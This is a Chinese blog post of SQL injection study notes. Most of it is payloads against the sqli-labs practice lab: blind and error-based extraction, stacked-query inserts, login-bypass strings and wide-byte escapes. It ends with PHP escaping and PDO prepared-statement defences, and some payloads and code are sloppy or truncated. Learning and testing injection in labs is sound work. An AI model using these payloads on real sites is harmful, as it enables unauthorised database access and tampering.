SQL注入思维导图
Posted 网络空间安全社
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入思维导图相关的知识,希望对你有一定的参考价值。
2020/1/2 22:00
1SQL与SQLi判断
mid函数:
select mid((select username from users where id=1),1,2)
substr函数:
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
这种单个字符比较的话,返回布尔值的1或0
ord函数:
(同于 ascii()) -> ascii码 :select ord("a")
正则注入和通配符函数:
mysql可以使用regexp来匹配正则,
mssql是like匹配不标准的正则,也就是通配符匹配:
通配符%多个字符,_是单个字符
select * from users where password regexp '^D'
SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '[a-z]' LIMIT 0,1
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
like进行模糊匹配
select user() like "ro%"
mysql报错:
判断注入点最直接简单的方式是看有没有DBMS的报错信息。
!注意区别于CGI脚本的报错、中间件的报错和防火墙的报错。
这几者报错不一样
2手工注入
万能密码(这里放一小部分,有专门的万能密码字典去测试):
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
堆叠查询注入:
less38
http://127.0.0.1:9000/less-38/?id=%27;%20insert%20into%20users(id,username,password)values(%27100%27,%27lqs%27,%27lqs%27)--+
这个和后台的mysqli_multi_query实现方法有关
剪切字符串进行ascii比较
sqli-less5:
字符型直接注入,没有回显 -》 布尔盲注:
?id=3' and 1=(select 1=(ascii(mid((select database()),1,1))>100)) --+
sleep():
eg:
select If(1=1,0,sleep(5))
payload:
If(ascii(substr(database(),1,1))>115,0,sleep(5))%2
Select 1,count(*),
concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a
from information_schema.columns group by a;
double数值类型超出范围:
Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上:
select exp(~(select * FROM(SELECT USER())a)) //double 数值类 型超出范围
bigint 超出范围
select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
可以参考文章 bigint 溢出文章:
http://www.cnblogs.com/lcamry/articles/5509112.html
%df吃掉反斜杠: (宽字节注入)
sqli-lab: less32
?id=-1%df%27%20union%20select%201,2,3%20--+
3最强工具sqlmap
4其他,防御
magic_quotes_gpc
php 是通过 magic_quotes_gpc 来决定是否对外来数据做转义处理的
php 5.3.6及以后默认关闭
php5.4.0及以后忽视它的存在
php 5.4 之前,会有全局魔术引号
但是对引号进行过滤防范不住 int 型的sql注入
get_magic_quotes_gpc():
检测是否gpc
常用来避免是否双层转义
addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(') 双引号(") 反斜杠() NULL
mysql_real_escape_string()
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
x00
'
"
x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
PDO:
PDO:PHP data object PHP数据对象
PDO推荐使用在php5.4及以后,之前的PDO一般都存在一些BUG和问题
提供了一个数据访问抽象层,不管什么数据库,都可以直接使用这个来查询和获取数据
<?php
$dbms='mysql'; //数据库类型
$host='localhost'; //数据库主机名
$dbName='security'; //使用的数据库
$user='root'; //数据库连接用户名
$pass='root'; //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
echo "连接成功<br/>";
/*你还可以进行一次搜索操作
foreach ($dbh->query('SELECT * from FOO') as $row) {
print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
}
*/
} catch (PDOException $e) {
die ("Error!: " . $e->getMessage() . "<br/>");
}
//默认这个不是长连接,如果需要数据库长连接,需要最后加一个参数:array(PDO::ATTR_PERSISTENT => true) 变成这样:
//$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
$dbh->exec("set names 'utf8'");
$sql = "select * from security.users where id=? limit 1";
$stmt = $dbh->prepare($sql);
$name = $_GET['id'];
//绑定参数
$stmt->bindValue(1,$name);
//执行预处理语句
$stmt->execute();
//推荐这种方式来获取查询结果
while ($row=$stmt->fetch())
{
print_r($row);
}
//释放查询结果
$stmt = null;
//关闭连接
$pdo = null;
?>
今天SQLmap就介绍到这里了,下一篇我会介绍我写的nmap的思维导图,需要大家有良好的网络基础哦~!
以上是关于SQL注入思维导图的主要内容,如果未能解决你的问题,请参考以下文章
前端界面操作数据表(知识点描述,思维导图,示例代码,效果截图)